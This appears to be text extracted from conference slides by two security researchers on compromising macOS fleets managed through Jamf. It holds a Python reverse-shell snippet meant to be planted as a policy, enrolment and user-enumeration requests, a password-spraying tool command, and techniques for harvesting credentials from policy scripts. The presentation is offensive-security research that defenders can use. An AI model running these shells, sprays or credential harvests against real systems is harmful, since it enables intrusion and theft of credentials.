AN ATTACKER’S PERSPECTIVE ON JAMF CONFIGURATIONS

Luke Roberts
Calum Hall
HOW WE COMPROMISED YOUR MACOS ESTATE ...
IN 5 MINUTES...
FROM THE INTERNET!
WHO ARE WE?

Luke Roberts
@rookuu_

Calum Hall
@_calumhall
MACOS ENVIRONMENTS
SELF MANAGED

- Common with developers
- Lack of security controls
- Difficult to integrate

CUSTOM ENVIRONMENTS

- Can be tuned to your needs
- Extensive setup
- High maintenance
- Tech companies like Google, Facebook

IT MANAGEMENT SOLUTIONS

- 3rd party software: Jamf, Parallels
- Deployment and management
- Mobile Device Management (MDM)
“THE STANDARD FOR APPLE IN THE ENTERPRISE”
AGENDA

JAMF ATTACK TOOLKIT
OVERVIEW OF COMPONENTS

**Jamf Software Server (JSS)**
- Web application that functions as the administrative core of Jamf Pro.

**Infrastructure Manager**
- LDAP proxy between external JSS and an organisations’ directory services

**Jamf Agent**
- Command line utility that administrates the managed device.

**Self-Service**
- macOS application that allows users to browse and install or run configuration profiles, policies and apps.

WHAT ARE WE ATTACKING?
TRADITIONAL DEPLOYMENT
CLOUD DEPLOYMENT
What if it breaks?
How much control do I have?
Ease of deployment
Internet facing attack surface

How do I configure it securely?

ON-PREM VS CLOUD

Who is going to ensure it’s patched?
DEVICE ENROLLMENT

- Pre-Stage (DEP)
- Self-enrollment
- QuickAdd PKG
- Recon
<device>
    <uuid>A6A978CE-D6F0-5EA8-8C70-EB0CE4FC8A8A</uuid>
    ...
</device>

<commandData>
    <checkForPolicies>
        <ns2:username>admin</ns2:username>
        <ns2:trigger>CLIENT_CHECKIN</ns2:trigger>
        <ns2:id>0</ns2:id>
        <ns2:processor>x86_64</ns2:processor>
        <ns2:day>Thu</ns2:day>
        <ns2:hour>16</ns2:hour>
        <ns2:minute>44</ns2:minute>
        <ns2:reportedIP>10.12.254.55</ns2:reportedIP>
    </checkForPolicies>
</commandData>
<?xml version="1.0" encoding="UTF-8"?>
<ns2:jamfMessage>
  <ns2:policies>
    <ns2:policy>
      <ns2:id>6</ns2:id>
      <ns2:name>objsee-example</ns2:name>
      <ns2:availableOffline>false</ns2:availableOffline>
      <ns2:scripts>
        <ns2:script>
          <ns2:filename>objsee-script-example</ns2:filename>
          <ns2:contents>
            #!/bin/bash
            echo "Hello World" > /tmp/obts
          </ns2:contents>
        </ns2:script>
      </ns2:scripts>
    </ns2:policy>
  </ns2:policies>
</ns2:jamfMessage>
CONFIGURING JAMF

Configuration Items

Uses MDM to push .mobileconfig files

Extension Attributes

Indiscriminate Data Retrieval

Policies (and Scripts)

Performs a Targeted Action on a Device
ADMINISTRATIVE TOOLING
LATERAL MOVEMENT
OBJECTIVE

DELIVERY
EXPLOIT
INTERNAL RECON
PERSISTENCE
LATERAL MOVEMENT
C2
INTERNAL RECON
OBJECTIVE

RECON
DELIVERY

- RECON
- EXPLOIT
- PERSISTENCE
- INTERNAL RECON
- LATERAL MOVEMENT
- OBJECTIVE
SELF ENROLLMENT

“... allows users to initiate the enrollment process on their own.”

https://<name>.jamfcloud.com/enroll
SELF ENROLLMENT

1. https://<name>.jamfcloud.com/enroll

2. Hello
   my name is
   John Smith

3. Hunter
SELF ENROLLMENT

```plaintext
POST /enroll/ HTTP/1.1
Connection: close
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko)
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

lastPage=login.jsp&payload=&device-detect-complete=true&username=abc&password=abcd
```

302 200
SELF ENROLLMENT

[Diagram showing connections between a hacker, Contoso, and devices with icons for Apps, Files, and VPN.]
EXPLOIT

- RECON
- DELIVERY
- C2
- INTERNAL RECON
- PERSISTENCE
- LATERAL MOVEMENT
- OBJECTIVE
```python
import sys, socket, os, pty

ip = ""
port = 80

s = socket.socket()
s.connect((ip, port))

[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]

pty.spawn("/bin/sh")
```
Jamf executes these when JSS is unavailable

Execution frequency can be set (startup, period etc.)

Requires admin privileges to write

No validation of policy contents
INTERNAL RECON

1. RECON
2. DELIVERY
3. EXPLOIT
4. C2
5. PERSISTENCE
6. LATERAL MOVEMENT
7. OBJECTIVE
USER OBJECT ENUMERATION

- Devices can be enrolled with local JSS credentials
- Assign AD user for inventory purposes

```
POST /enroll/enroll.ajax HTTP/1.1
Host: jss.f-secure.com:8443
Accept: */*
X-Requested-WithName: XMLHttpRequest
Cookie: JSESSIONID=abcdef

username=a
```
LATERAL MOVEMENT
“Account to use for managing computers enrolled by user-initiated enrollment”

- Used to remotely manage devices

- Passwords can be randomly generated or set
共享管理凭据

- 远程使用此账户进行SSH管理
- Alter SSH binary?
- Rogue PAM modules?
- Hijack SSH service? 👌
- Password spray across macOS estate
Plaintext Credentials in scripts!

```bash
# HARDCODED VALUES SET HERE
apiUser="JSSAdmin1"
apiPass="Hunter2"

  udid/$udid/subset/extension_attributes | xpath "//extension_attribute[name='$extAttName']" 2>&1 | awk -F'\<value\>|\</value\>' '{print $2}')

LAPS.sh
```
POLICY ABUSE

/Library/Application Support/JAMF/tmp
# CHECK TO SEE IF A VALUE WAS PASSED IN PARAMETER 4 AND, IF SO, ASSIGN TO "apiUser"
if [ "$4" != "" ] && [ "$apiUser" == "" ];then
  apiUser=$4
fi

# CHECK TO SEE IF A VALUE WAS PASSED IN PARAMETER 5 AND, IF SO, ASSIGN TO "apiPass"
if [ "$5" != "" ] && [ "$apiPass" == "" ];then
  apiPass=$5
fi

  udid/$udid/subset/extension_attributes | xpath "//extension_attribute[name=$extAttName] 2>&1 | awk -F'<value>\</value>' '{print $2}')
Script Argument Edition

```
ps aux | grep -i jamf | grep -i path
```
Why not both?

```bash
# Using the GenerateEncryptedString function, replace ENTER_SALT_HERE and ENTER_PASS_PHRASE_HERE
# with the values generated. See README for more information.

function DecryptString() {
    # Usage: ~$ DecryptString "Encrypted String" "Salt" "Passphrase"
    echo "${1}" | /usr/bin/openssl enc -aes256 -d -a -A -S "${2}" -k "${3}"
}

username=$(DecryptString "${4}" "ENTER_SALT_HERE" "ENTER_PASS_PHRASE_HERE")
password=$(DecryptString "${5}" "ENTER_SALT_HERE" "ENTER_PASS_PHRASE_HERE")
```

2_Security_Audit_Compliance_API.sh
HOW DEEP DOES THE RABBIT HOLE GO?

SPOILER ALERT
WE’RE STILL FALLING
Domain Join Script

Posted: 7/17/2017 at 3:12 PM CDT by [User]
Product: Centrify Suite
Downloads: 530

Synopsis
This script can be used to join the domain using the Centrify Suite.

Description
This script will allow you to join computers to Active Directory if you are using the Centrify Suite. The reason for this script was due to the built-in Directory Binding Configurations that the JSS uses for Centrify were hit or miss on actually binding the computer to AD. This script will

### Parameters

# 4 - Domain Admin Username
# 5 - Domain Admin Password
# 6 - Encode Password (See Below - Leave blank for plain text)
# 7 - Centrify Zone (Leave blank for Auto Zone)
# 8 - Domain Being Joined

---

# AD Join Script - Centrify Suite
# Josh Harvey | Jul 2017
# josh[at]macjeezy.com
# Github - github.com/therealmacjeezy
# JAMFnation - therealmacjeezy
```python
jss_url = sys.argv[4]
jss_api_user = sys.argv[5]
jss_api_passwd = sys.argv[6]
```
forked from fauxserve/Casper-Scripts

---

# written by [name], Jamf October 2016
# updated for 10.12 CIS benchmarks by [name], Jamf February 2017
# updated to use configuration profiles by Apple Professional Services, January 2018
# updated to use REST API to update EAs instead of recon
# github.com/jamfprofessionalservices
# updated for 10.13 CIS benchmarks by [name], Jamf Jan 2019
function DecryptString() {
  echo "${1}" | /usr/bin/openssl enc -aes256 -d -a -A -S "$2" -k "$3"
}

username=$(DecryptString "${4}" "ENTER_SALT_HERE" "ENTER_PASS_PHRASE_HERE")
password=$(DecryptString "${5}" "ENTER_SALT_HERE" "ENTER_PASS_PHRASE_HERE")

############ Read in parameters from the policy #############

if [ "$4" != "" ] && [ "$apiUser" == "" ]; then
  apiUser=$4
fi

if [ "$5" != "" ] && [ "$apiPass" == "" ]; then
  apiPass=$5
fi
Extension Attributes can be misconfigured in the same way!
1. **JamfSniper**: Password sprays either the JSS enrolment portal or the API.

2. **JamfEnumerator**: Queries LDAP user object API to enumerate all user objects in targets directory service.

3. **JamfExplorer**: Listens for executing policies and extension attributes to obtain insecurely secured credentials.

4. **JamfDumper**: Dumps scripts, policies and extension attributes to disk once JSS API access has been obtained.
python3 JamfSniper.py --username-list users.txt --password Password1
https://jss.f-secure.com:8443/ --threads 20
Log in to enroll your device.

Username:

Password:

Log in

Powered by Jamf